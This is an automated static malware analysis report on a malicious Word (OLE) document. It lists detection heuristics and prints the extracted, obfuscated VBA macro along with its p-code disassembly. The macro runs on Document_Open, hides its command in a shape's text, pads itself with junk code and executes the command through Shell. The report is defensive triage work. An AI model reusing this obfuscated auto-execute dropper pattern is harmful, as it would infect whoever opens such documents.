Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 64f1a84680f2f3b4…

MALICIOUS

Office (OLE)

141.9 KB Created: 2018-12-03 19:53:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 03273093863cd9b7a5a368fd5e81b677 SHA-1: dd6cdba5f18cfc16e32cbcb700e593b071525e4e SHA-256: 64f1a84680f2f3b499a152b479b7f69bcdc81a7b9fd709fd21a39188d9f3a707
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6768865-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6768865-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
KULANd = Array(BZVmfNj, IRcbGO, EmlosuWmK, Interaction!.Shell(bFRaSI, ZtAXXuZI), zEZaMjP)
   On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22881 bytes
SHA-256: 2029114ede8cbd60c913537608106d2f3ee9e2a28a4ee2030675e2059fd7e763
Detection
ClamAV: No threats found
Obfuscation or payload: likely
138 of 228 identifiers look randomly generated (e.g. 'qstore_55k5wb7t') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FaGOisASi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
      Select Case hawuT
         Case 329062888
              pjQlXifs = Log(ZQQwLLlL)
         Case 177134929
            ALuwoU = Log(40211622)
 wPnfU = Fix(323928157 * Fix(304588216) + cauIZW + Tan(kIDKNu))
pnTGzXv = Round(bRRVidrt)
         Case 318103106
 DtiKQS = Fix(257589215 * Fix(193353864) + JqlJsObZA + Tan(OzXXrw))
            qEnnsOH = 285141045
            BmiWB = CDate(125483078)
      End Select
   On Error Resume Next
      Select Case wPEHA
         Case 318303317
              nHsifhbci = Log(CYDWzv)
         Case 61599134
            EvLrzZ = Log(279086322)
 ijdTwVOpB = Fix(106874122 * Fix(58112220) + ltktdazL + Tan(jzUvwwAm))
ITonCszLT = Round(KNVjmaZL)
         Case 73409890
 OYbiLv = Fix(235094810 * Fix(57801617) + CZNCFIp + Tan(wqrtRHPBS))
            ShUXkp = 132901106
            jrJbHIqn = CDate(111770039)
      End Select
   On Error Resume Next
      Select Case civTiZk
         Case 204752820
              UTMppt = Log(IMXnol)
         Case 239269444
            DSKkIYOuE = Log(308581050)
 itcvl = Fix(69534904 * Fix(340886912) + RdwjcEO + Tan(pJliquB))
QOzWvF = Round(HuhKYjQ)
         Case 252744478
 pKSRGmi = Fix(210969283 * Fix(303815705) + YlTMQosMf + Tan(KdjLEol))
            uquZWJtjb = 237024995
            djTcz = CDate(216331507)
      End Select
   On Error Resume Next
      Select Case hYthZiPjK
         Case 153474615
              iZaKub = Log(SwKOudKHS)
         Case 242193305
            rlMYzJcp = Log(326207866)
 VowNmIGhQ = Fix(152178641 * Fix(49106729) + aYjhTiPXR + Tan(iwSlFJ))
RhFiFwI = Round(AHVDaB)
         Case 90014665
 wLnsPpw = Fix(168156496 * Fix(174639303) + JJzuBCw + Tan(zpBOU))
            XTTWuTr = 67060853
            YUaRRM = CDate(181267288)
      End Select
Set KQYzjaVTZ = Shapes("MoPcQprOntTdI").TextFrame
   On Error Resume Next
      Select Case DmkWSbEZl
         Case 242270585
              qPhYBnm = Log(REoJr)
         Case 253984183
            EoffDtkrt = Log(192581466)
 YSqbGzoU = Fix(166517242 * Fix(143478487) + uXoGs + Tan(rPctjZXP))
FjdGXovPO = Round(QqwqUX)
         Case 87466941
 AtIqzAC = Fix(4385305 * Fix(196471078) + sosSM + Tan(rHqTwP))
            HamcstYIW = 149102813
            XVkOj = CDate(191911976)
      End Select
bFRaSI = KQYzjaVTZ.TextRange.Text + zNjuYku + vXacz + KYKHFs + cEDkAK + pvqccY + IZupci + jwYEtOF + TiwjqRQA + HmCnI + wfzhpLJP + zIWNwAj + baADFV
   On Error Resume Next
      Select Case KpzZtk
         Case 61228744
              rbRwOHazq = Log(mvOMjlHvR)
         Case 335055305
            kTMRbBCi = Log(190242115)
 rnjHzfcj = Fix(61144622 * Fix(333679637) + rJzPBzGNR + Tan(SKNHHFfnF))
TNHuIhF = Round(FfOHAisK)
         Case 84452369
 ZDvQL = Fix(254495762 * Fix(163561346) + SzqaztD + Tan(idCEHUs))
            ImkKKfO = 325697541
            cNBdDCUWf = CDate(97530516)
      End Select
   On Error Resume Next
      Select Case nRwjuznB
         Case 73646401
              VbmiMqQqs = Log(AEqQqRLrh)
         Case 91232653
            EHniHmN = Log(264341982)
 iwzbpSHjL = Fix(308192833 * Fix(191590649) + Vajibipc + Tan(wUzTQUzv))
EDCCP = Round(GObYK)
         Case 204329875
 mknjhEAj = Fix(25206143 * Fix(156527189) + CmbAIY + Tan(IlGqZlSKf))
            MGRRIPi = 82771744
            jnuvZAfq = CDate(338818573)
      End Select
   On Error Resume Next
      Select Case UCzOoCd
         Case 184808154
              aZSzYAiV = Log(HiLkDzmX)
         Case 78776577
            fzOaPiSYf = Log(271741950)
 EFzMOKP = Fix(62533541 * Fix(116604515) + QIjAd + Tan(jwAcRq))
wpLzDVFc = Round(jKCcMXomW)
         Case 89122110
 sPpiZlOjZ = Fix(207272826 * Fix(86297642) + OWDWC + Tan(LoMZRb))
            wACLJNF = 26109624
            rjAdZRGWD = CDate(130373685)
      End Select
   On Error Resume Next
      Select Case DZwEH
         Case 223569590
              dKOnDt = Log(QHwoV)
         Case 14554634
            sOdfjH = Log(251868385)
 durSbmUzO = Fix(172355237 * Fix(142473493) + ctccL + Tan(jkVRcBVsK))
SZaaji = Round(UvlSTwKj)
         Case 96221086
 zkwmAUkaB = Fix(197911328 * Fix(78264200) + qzibKi + Tan(zvWwMHha))
            NoLhNBW = 50420612
            YSEqzi = CDate(1552239)
      End Select
Const ZtAXXuZI = 0
   On Error Resume Next
      Select Case FhLuPSB
         Case 179169247
              SzhXZCn = Log(GLhVP)
         Case 106769000
            sZwiAz = Log(273475408)
 vDNFt = Fix(267664757 * Fix(294461907) + kEWrIDXJa + Tan(KbolHp))
zCpWXa = Round(ctmULwtO)
         Case 92864333
 zRtYCoB = Fix(254918604 * Fix(27249011) + mOQKvYou + Tan(CTMdqOPR))
            wdWwM = 125262698
            qvswNojS = CDate(279638417)
      End Select
   On Error Resume Next
      Select Case irmpkRP
         Case 69216577
              YaYTzS = Log(jfvWjkQwJ)
         Case 332681090
            iDuAwJbNn = Log(135110249)
 qkrKWjiM = Fix(268180419 * Fix(339825131) + nkjkErzbo + Tan(malGSYiP))
lfYzpKfVO = Round(QwJrlQKQ)
         Case 80485450
 jPLjA = Fix(29873974 * Fix(66387551) + EDLEw + Tan(ONOkuZZWj))
            XjcizqIHR = 74165929
            VTswk = CDate(3444459)
      End Select
   On Error Resume Next
      Select Case hrwQMI
         Case 182876127
              TJGIk = Log(vZrIMqLn)
         Case 285351038
            rhFqr = Log(90852054)
 ZIaQzGL = Fix(166194460 * Fix(244923674) + CMdsoIjdU + Tan(BXwGt))
sYfClIFij = Round(JYvTf)
         Case 231727312
 vJaNNDY = Fix(170108544 * Fix(80925617) + GZBMUWz + Tan(ntiItH))
            LnwHhBbSw = 4405260
            SlfUGdZlw = CDate(59714483)
      End Select
   On Error Resume Next
      Select Case ppvsc
         Case 11498388
              fFSKLC = Log(wRqzE)
         Case 61144157
            iSdEr = Log(151672941)
 fTBjO = Fix(261896638 * Fix(233396645) + pBKwoHi + Tan(AKUQEA))
DoYJGX = Round(oliMzm)
         Case 113156163
 wOTXbpo = Fix(51355934 * Fix(137703295) + zGctWGvfG + Tan(upicBXMZR))
            IwvZOFz = 218666268
            XOhDRHR = CDate(272374873)
      End Select
   On Error Resume Next
      Select Case zrKhDGmPz
         Case 102981642
              OwjTU = Log(VlWKEwi)
         Case 314187252
            iKXvCClp = Log(240512255)
 bfSdvCO = Fix(195176282 * Fix(49170927) + TtZnwkZ + Tan(kvuclPYcs))
NAcHw = Round(trDHaHqTa)
         Case 143527575
 okkwRc = Fix(260717332 * Fix(31058994) + cwuCFTKM + Tan(GzMudt))
            hSXcF = 179868596
            PvjrI = CDate(33371401)
      End Select
KULANd = Array(BZVmfNj, IRcbGO, EmlosuWmK, Interaction!.Shell(bFRaSI, ZtAXXuZI), zEZaMjP)
   On Error Resume Next
      Select Case AfBKK
         Case 258592793
              qTzIva = Log(AkiMnz)
         Case 314045583
            pcBzR = Log(61969839)
 imsiJMz = Fix(51229351 * Fix(318257242) + JNVDhRR + Tan(pFJUfzEGw))
YJNVLMlLQ = Round(RFAdmh)
         Case 196751199
 ZzHLjFcE = Fix(136625982 * Fix(88584600) + sdCNI + Tan(nRnCJSWA))
            ajEji = 327141907
            SjAjNZH = CDate(298911099)
      End Select
End Sub


' Processing file: /tmp/qstore_55k5wb7t
' ===============================================================================
' Module streams:
' Macros/VBA/FaGOisASi - 11687 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_open())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld hawuT 
' 	SelectCase 
' Line #3:
' 	LitDI4 0x19E8 0x139D 
' 	Case 
' 	CaseDone 
' Line #4:
' 	Ld ZQQwLLlL 
' 	ArgsLd Log 0x0001 
' 	St pjQlXifs 
' Line #5:
' 	LitDI4 0xDD51 0x0A8E 
' 	Case 
' 	CaseDone 
' Line #6:
' 	LitDI4 0x94A6 0x0265 
' 	ArgsLd Log 0x0001 
' 	St ALuwoU 
' Line #7:
' 	LitDI4 0xC05D 0x134E 
' 	LitDI4 0xA5B8 0x1227 
' 	FnFix 
' 	Mul 
' 	Ld cauIZW 
' 	Add 
' 	Ld kIDKNu 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St wPnfU 
' Line #8:
' 	Ld bRRVidrt 
' 	ArgsLd Round 0x0001 
' 	St pnTGzXv 
' Line #9:
' 	LitDI4 0xDE42 0x12F5 
' 	Case 
' 	CaseDone 
' Line #10:
' 	LitDI4 0x7FDF 0x0F5A 
' 	LitDI4 0x5888 0x0B86 
' 	FnFix 
' 	Mul 
' 	Ld JqlJsObZA 
' 	Add 
' 	Ld OzXXrw 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St DtiKQS 
' Line #11:
' 	LitDI4 0xE835 0x10FE 
' 	St qEnnsOH 
' Line #12:
' 	LitDI4 0xB846 0x077A 
' 	Coerce (Date) 
' 	St BmiWB 
' Line #13:
' 	EndSelect 
' Line #14:
' 	OnError (Resume Next) 
' Line #15:
' 	Ld wPEHA 
' 	SelectCase 
' Line #16:
' 	LitDI4 0xEC55 0x12F8 
' 	Case 
' 	CaseDone 
' Line #17:
' 	Ld CYDWzv 
' 	ArgsLd Log 0x0001 
' 	St nHsifhbci 
' Line #18:
' 	LitDI4 0xED9E 0x03AB 
' 	Case 
' 	CaseDone 
' Line #19:
' 	LitDI4 0x84F2 0x10A2 
' 	ArgsLd Log 0x0001 
' 	St EvLrzZ 
' Line #20:
' 	LitDI4 0xC50A 0x065E 
' 	LitDI4 0xB8DC 0x0376 
' 	FnFix 
' 	Mul 
' 	Ld ltktdazL 
' 	Add 
' 	Ld jzUvwwAm 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St ijdTwVOpB 
' Line #21:
' 	Ld KNVjmaZL 
' 	ArgsLd Round 0x0001 
' 	St ITonCszLT 
' Line #22:
' 	LitDI4 0x2562 0x0460 
' 	Case 
' 	CaseDone 
' Line #23:
' 	LitDI4 0x431A 0x0E03 
' 	LitDI4 0xFB91 0x0371 
' 	FnFix 
' 	Mul 
' 	Ld CZNCFIp 
' 	Add 
' 	Ld wqrtRHPBS 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St OYbiLv 
' Line #24:
' 	LitDI4 0xE8F2 0x07EB 
' 	St ShUXkp 
' Line #25:
' 	LitDI4 0x79B7 0x06A9 
' 	Coerce (Date) 
' 	St jrJbHIqn 
' Line #26:
' 	EndSelect 
' Line #27:
' 	OnError (Resume Next) 
' Line #28:
' 	Ld civTiZk 
' 	SelectCase 
' Line #29:
' 	LitDI4 0x47B4 0x0C34 
' 	Case 
' 	CaseDone 
' Line #30:
' 	Ld IMXnol 
' 	ArgsLd Log 0x0001 
' 	St UTMppt 
' Line #31:
' 	LitDI4 0xF644 0x0E42 
' 	Case 
' 	CaseDone 
' Line #32:
' 	LitDI4 0x92BA 0x1264 
' 	ArgsLd Log 0x0001 
' 	St DSKkIYOuE 
' Line #33:
' 	LitDI4 0x04B8 0x0425 
' 	LitDI4 0x8580 0x1451 
' 	FnFix 
' 	Mul 
' 	Ld RdwjcEO 
' 	Add 
' 	Ld pJliquB 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St itcvl 
' Line #34:
' 	Ld HuhKYjQ 
' 	ArgsLd Round 0x0001 
' 	St QOzWvF 
' Line #35:
' 	LitDI4 0x931E 0x0F10 
' 	Case 
' 	CaseDone 
' Line #36:
' 	LitDI4 0x22C3 0x0C93 
' 	LitDI4 0xDC19 0x121B 
' 	FnFix 
' 	Mul 
' 	Ld YlTMQosMf 
' 	Add 
' 	Ld KdjLEol 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St pKSRGmi 
' Line #37:
' 	LitDI4 0xB6E3 0x0E20 
' 	St uquZWJtjb 
' Line #38:
' 	LitDI4 0xF4F3 0x0CE4 
' 	Coerce (Date) 
' 	St djTcz 
' Line #39:
' 	EndSelect 
' Line #40:
' 	OnError (Resume Next) 
' Line #41:
' 	Ld hYthZiPjK 
' 	SelectCase 
' Line #42:
' 	LitDI4 0xD637 0x0925 
' 	Case 
' 	CaseDone 
' Line #43:
' 	Ld SwKOudKHS 
' 	ArgsLd Log 0x0001 
' 	St iZaKub 
' Line #44:
' 	LitDI4 0x9399 0x0E6F 
' 	Case 
' 	CaseDone 
' Line #45:
' 	LitDI4 0x897A 0x1371 
' 	ArgsLd Log 0x0001 
' 	St rlMYzJcp 
' Line #46:
' 	LitDI4 0x0FD1 0x0912 
' 	LitDI4 0x4F29 0x02ED 
' 	FnFix 
' 	Mul 
' 	Ld aYjhTiPXR 
' 	Add 
' 	Ld iwSlFJ 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St VowNmIGhQ 
' Line #47:
' 	Ld AHVDaB 
' 	ArgsLd Round 0x0001 
' 	St RhFiFwI 
' Line #48:
' 	LitDI4 0x83C9 0x055D 
' 	Case 
' 	CaseDone 
' Line #49:
' 	LitDI4 0xDD50 0x0A05 
' 	LitDI4 0xC8C7 0x0A68 
' 	FnFix 
' 	Mul 
' 	Ld JJzuBCw 
' 	Add 
' 	Ld zpBOU 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St wLnsPpw 
' Line #50:
' 	LitDI4 0x4475 0x03FF 
' 	St XTTWuTr 
' Line #51:
' 	LitDI4 0xEB58 0x0ACD 
' 	Coerce (Date) 
' 	St YUaRRM 
' Line #52:
' 	EndSelect 
' Line #53:
' 	SetStmt 
' 	LitStr 0x000D "MoPcQprOntTdI"
' 	ArgsLd Shapes 0x0001 
' 	MemLd TextFrame 
' 	Set KQYzjaVTZ 
' Line #54:
' 	OnError (Resume Next) 
' Line #55:
' 	Ld DmkWSbEZl 
' 	SelectCase 
' Line #56:
' 	LitDI4 0xC179 0x0E70 
' 	Case 
' 	CaseDone 
' Line #57:
' 	Ld REoJr 
' 	ArgsLd Log 0x0001 
' 	St qPhYBnm 
' Line #58:
' 	LitDI4 0x7DB7 0x0F23 
' 	Case 
' 	CaseDone 
' Line #59:
' 	LitDI4 0x8F5A 0x0B7A 
' 	ArgsLd Log 0x0001 
' 	St EoffDtkrt 
' Line #60:
' 	LitDI4 0xD9FA 0x09EC 
' 	LitDI4 0x4ED7 0x088D 
' 	FnFix 
' 	Mul 
' 	Ld uXoGs 
' 	Add 
' 	Ld rPctjZXP 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St YSqbGzoU 
' Line #61:
' 	Ld QqwqUX 
' 	ArgsLd Round 0x0001 
' 	St FjdGXovPO 
' Line #62:
' 	LitDI4 0xA3BD 0x0536 
' 	Case 
' 	CaseDone 
' Line #63:
' 	LitDI4 0xEA19 0x0042 
' 	LitDI4 0xE926 0x0BB5 
' 	FnFix 
' 	Mul 
' 	Ld sosSM 
' 	Add 
' 	Ld rHqTwP 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St AtIqzAC 
' Line #64:
' 	LitDI4 0x20DD 0x08E3 
' 	St HamcstYIW 
' Line #65:
' 	LitDI4 0x5828 0x0B70 
' 	Coerce (Date) 
' 	St XVkOj 
' Line #66:
' 	EndSelect 
' Line #67:
' 	Ld KQYzjaVTZ 
' 	MemLd TextRange 
' 	MemLd Text 
' 	Ld zNjuYku 
' 	Add 
' 	Ld vXacz 
' 	Add 
' 	Ld KYKHFs 
' 	Add 
' 	Ld cEDkAK 
' 	Add 
' 	Ld pvqccY 
' 	Add 
' 	Ld IZupci 
' 	Add 
' 	Ld jwYEtOF 
' 	Add 
' 	Ld TiwjqRQA 
' 	Add 
' 	Ld HmCnI 
' 	Add 
' 	Ld wfzhpLJP 
' 	Add 
' 	Ld zIWNwAj 
' 	Add 
' 	Ld baADFV 
' 	Add 
' 	St bFRaSI 
' Line #68:
' 	OnError (Resume Next) 
' Line #69:
' 	Ld KpzZtk 
' 	SelectCase 
' Line #70:
' 	LitDI4 0x46C8 0x03A6 
' 	Case 
' 	CaseDone 
' Line #71:
' 	Ld mvOMjlHvR 
' 	ArgsLd Log 0x0001 
' 	St rbRwOHazq 
' Line #72:
' 	LitDI4 0x89C9 0x13F8 
' 	Case 
' 	CaseDone 
' Line #73:
' 	LitDI4 0xDD43 0x0B56 
' 	ArgsLd Log 0x0001 
' 	St kTMRbBCi 
' Line #74:
' 	LitDI4 0xFE2E 0x03A4 
' 	LitDI4 0x8C15 0x13E3 
' 	FnFix 
' 	Mul 
' 	Ld rJzPBzGNR 
' 	Add 
' 	Ld SKNHHFfnF 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St rnjHzfcj 
' Line #75:
' 	Ld FfOHAisK 
' 	ArgsLd Round 0x0001 
' 	St TNHuIhF 
' Line #76:
' 	LitDI4 0xA411 0x0508 
' 	Case 
' 	CaseDone 
' Line #77:
' 	LitDI4 0x4C12 0x0F2B 
' 	LitDI4 0xBF82 0x09BF 
' 	FnFix 
' 	Mul 
' 	Ld SzqaztD 
' 	Add 
' 	Ld idCEHUs 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St ZDvQL 
' Line #78:
' 	LitDI4 0xC005 0x1369 
' 	St ImkKKfO 
' Line #79:
' 	LitDI4 0x3294 0x05D0 
' 	Coerce (Date) 
' 	St cNBdDCUWf 
' Line #80:
' 	EndSelect 
' Line #81:
' 	OnError (Resume Next) 
' Line #82:
' 	Ld nRwjuznB 
' 	SelectCase 
' Line #83:
' 	LitDI4 0xC141 0x0463 
' 	Case 
' 	CaseDone 
' Line #84:
' 	Ld AEqQqRLrh 
' 	ArgsLd Log 0x0001 
' 	St VbmiMqQqs 
' Line #85:
' 	LitDI4 0x198D 0x0570 
' 	Case 
' 	CaseDone 
' Line #86:
' 	LitDI4 0x89DE 0x0FC1 
' 	ArgsLd Log 0x0001 
' 	St EHniHmN 
' Line #87:
' 	LitDI4 0xA641 0x125E 
' 	LitDI4 0x70F9 0x0B6B 
' 	FnFix 
' 	Mul 
' 	Ld Vajibipc 
' 	Add 
' 	Ld wUzTQUzv 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St iwzbpSHjL 
' Line #88:
' 	Ld GObYK 
' 	ArgsLd Round 0x0001 
' 	St EDCCP 
' Line #89:
' 	LitDI4 0xD393 0x0C2D 
' 	Case 
' 	CaseDone 
' Line #90:
' 	LitDI4 0x9D7F 0x0180 
' 	LitDI4 0x6A55 0x0954 
' 	FnFix 
' 	Mul 
' 	Ld CmbAIY 
' 	Add 
' 	Ld IlGqZlSKf 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St mknjhEAj 
' Line #91:
' 	LitDI4 0xFF20 0x04EE 
' 	St MGRRIPi 
' Line #92:
' 	LitDI4 0xF60D 0x1431 
' 	Coerce (Date) 
' 	St jnuvZAfq 
' Line #93:
' 	EndSelect 
' Line #94:
' 	OnError (Resume Next) 
' Line #95:
' 	Ld UCzOoCd 
' 	SelectCase 
' Line #96:
' 	LitDI4 0xF2DA 0x0B03 
' 	Case 
' 	CaseDone 
' Line #97:
' 	Ld HiLkDzmX 
' 	ArgsLd Log 0x0001 
' 	St aZSzYAiV 
' Line #98:
' 	LitDI4 0x0901 0x04B2 
' 	Case 
' 	CaseDone 
' Line #99:
' 	LitDI4 0x73FE 0x1032 
' 	ArgsLd Log 0x0001 
' 	St fzOaPiSYf 
' Line #100:
' 	LitDI4 0x2FA5 0x03BA 
' 	LitDI4 0x3E63 0x06F3 
' 	FnFix 
' 	Mul 
' 	Ld QIjAd 
' 	Add 
' 	Ld jwAcRq 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St EFzMOKP 
' Line #101:
' 	Ld jKCcMXomW 
' 	ArgsLd Round 0x0001 
' 	St wpLzDVFc 
' Line #102:
' 	LitDI4 0xE53E 0x054F 
' 	Case 
' 	CaseDone 
' Line #103:
' 	LitDI4 0xBB7A 0x0C5A 
' 	LitDI4 0xCC2A 0x0524 
' 	FnFix 
' 	Mul 
' 	Ld OWDWC 
' 	Add 
' 	Ld LoMZRb 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St sPpiZlOjZ 
' Line #104:
' 	LitDI4 0x66B8 0x018E 
' 	St wACLJNF 
' Line #105:
' 	LitDI4 0x5835 0x07C5 
' 	Coerce (Date) 
' 	St rjAdZRGWD 
' Line #106:
' 	EndSelect 
' Line #107:
' 	OnError (Resume Next) 
' Line #108:
' 	Ld DZwEH 
' 	SelectCase 
' Line #109:
' 	LitDI4 0x66B6 0x0D53 
' 	Case 
' 	CaseDone 
' Line #110:
' 	Ld QHwoV 
' 	ArgsLd Log 0x0001 
' 	St dKOnDt 
' Line #111:
' 	LitDI4 0x160A 0x00DE 
' 	Case 
' 	CaseDone 
' Line #112:
' 	LitDI4 0x34E1 0x0F03 
' 	ArgsLd Log 0x0001 
' 	St sOdfjH 
' Line #113:
' 	LitDI4 0xEEA5 0x0A45 
' 	LitDI4 0xF915 0x087D 
' 	FnFix 
' 	Mul 
' 	Ld ctccL 
' 	Add 
' 	Ld jkVRcBVsK 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St durSbmUzO 
' Line #114:
' 	Ld UvlSTwKj 
' 	ArgsLd Round 0x0001 
' 	St SZaaji 
' Line #115:
' 	LitDI4 0x379E 0x05BC 
' 	Case 
' 	CaseDone 
' Line #116:
' 	LitDI4 0xE320 0x0BCB 
' 	LitDI4 0x3788 0x04AA 
' 	FnFix 
' 	Mul 
' 	Ld qzibKi 
' 	Add 
' 	Ld zvWwMHha 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St zkwmAUkaB 
' Line #117:
' 	LitDI4 0x5B84 0x0301 
' 	St NoLhNBW 
' Line #118:
' 	LitDI4 0xAF6F 0x0017 
' 	Coerce (Date) 
' 	St YSEqzi 
' Line #119:
' 	EndSelect 
' Line #120:
' 	Dim (Const) 
' 	LitDI2 0x0000 
' 	VarDefn ZtAXXuZI
' Line #121:
' 	OnError (Resume Next) 
' Line #122:
' 	Ld FhLuPSB 
' 	SelectCase 
' Line #123:
' 	LitDI4 0xE7DF 0x0AAD 
' 	Case 
' 	CaseDone 
' Line #124:
' 	Ld GLhVP 
' 	ArgsLd Log 0x0001 
' 	St SzhXZCn 
' Line #125:
' 	LitDI4 0x2A68 0x065D 
' 	Case 
' 	CaseDone 
' Line #126:
' 	LitDI4 0xE750 0x104C 
' 	ArgsLd Log 0x0001 
' 	St sZwiAz 
' Line #127:
' 	LitDI4 0x3D75 0x0FF4 
' 	LitDI4 0x21D3 0x118D 
' 	FnFix 
' 	Mul 
' 	Ld kEWrIDXJa 
' 	Add 
' 	Ld KbolHp 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St vDNFt 
' Line #128:
' 	Ld ctmULwtO 
' 	ArgsLd Round 0x0001 
' 	St zCpWXa 
' Line #129:
' 	LitDI4 0xFF4D 0x0588 
' 	Case 
' 	CaseDone 
' Line #130:
' 	LitDI4 0xBFCC 0x0F31 
' 	LitDI4 0xC973 0x019F 
' 	FnFix 
' 	Mul 
' 	Ld mOQKvYou 
' 	Add 
' 	Ld CTMdqOPR 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St zRtYCoB 
' Line #131:
' 	LitDI4 0x5B6A 0x0777 
' 	St wdWwM 
' Line #132:
' 	LitDI4 0xF191 0x10AA 
' 	Coerce (Date) 
' 	St qvswNojS 
' Line #133:
' 	EndSelect 
' Line #134:
' 	OnError (Resume Next) 
' Line #135:
' 	Ld irmpkRP 
' 	SelectCase 
' Line #136:
' 	LitDI4 0x2941 0x0420 
' 	Case 
' 	CaseDone 
' Line #137:
' 	Ld jfvWjkQwJ 
' 	ArgsLd Log 0x0001 
' 	St YaYTzS 
' Line #138:
' 	LitDI4 0x4F82 0x13D4 
' 	Case 
' 	CaseDone 
' Line #139:
' 	LitDI4 0x9E69 0x080D 
' 	ArgsLd Log 0x0001 
' 	St iDuAwJbNn 
' Line #140:
' 	LitDI4 0x1BC3 0x0FFC 
' 	LitDI4 0x51EB 0x1441 
' 	FnFix 
' 	Mul 
' 	Ld nkjkErzbo 
' 	Add 
' 	Ld malGSYiP 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St qkrKWjiM 
' Line #141:
' 	Ld QwJrlQKQ 
' 	ArgsLd Round 0x0001 
' 	St lfYzpKfVO 
' Line #142:
' 	LitDI4 0x1C4A 0x04CC 
' 	Case 
' 	CaseDone 
' Line #143:
' 	LitDI4 0xD736 0x01C7 
' 	LitDI4 0xFE5F 0x03F4 
' 	FnFix 
' 	Mul 
' 	Ld EDLEw 
' 	Add 
' 	Ld ONOkuZZWj 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St jPLjA 
' Line #144:
' 	LitDI4 0xAEA9 0x046B 
' 	St ONOkuZZWj 
' Line #145:
' 	LitDI4 0x8EEB 0x0034 
' 	Coerce (Date) 
' 	St XjcizqIHR 
' Line #146:
' 	EndSelect 
' Line #147:
' 	OnError (Resume Next) 
' Line #148:
' 	Ld VTswk 
' 	SelectCase 
' Line #149:
' 	LitDI4 0x77DF 0x0AE6 
' 	Case 
' 	CaseDone 
' Line #150:
' 	Ld TJGIk 
' 	ArgsLd Log 0x0001 
' 	St hrwQMI 
' Line #151:
' 	LitDI4 0x1C7E 0x1102 
' 	Case 
' 	CaseDone 
' Line #152:
' 	LitDI4 0x4AD6 0x056A 
' 	ArgsLd Log 0x0001 
' 	St vZrIMqLn 
' Line #153:
' 	LitDI4 0xED1C 0x09E7 
' 	LitDI4 0x3D1A 0x0E99 
' 	FnFix 
' 	Mul 
' 	Ld ZIaQzGL 
' 	Add 
' 	Ld CMdsoIjdU 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St rhFqr 
' Line #154:
' 	Ld sYfClIFij 
' 	ArgsLd Round 0x0001 
' 	St BXwGt 
' Line #155:
' 	LitDI4 0xE0D0 0x0DCF 
' 	Case 
' 	CaseDone 
' Line #156:
' 	LitDI4 0xA680 0x0A23 
' 	LitDI4 0xD3B1 0x04D2 
' 	FnFix 
' 	Mul 
' 	Ld vJaNNDY 
' 	Add 
' 	Ld GZBMUWz 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	FnFix 
' 	St JYvTf 
' Line #157:
' 	LitDI4 0x380C 0x0043 
' 	St ntiItH 
' Line #158:
' 	LitDI4 0x2BB3 0x038F 
' 	Coerce (Date) 
' 	St LnwHhBbSw 
' Line #159:
' 	EndSelect 
…

Open this report in the interactive analyzer, or submit your own file for analysis.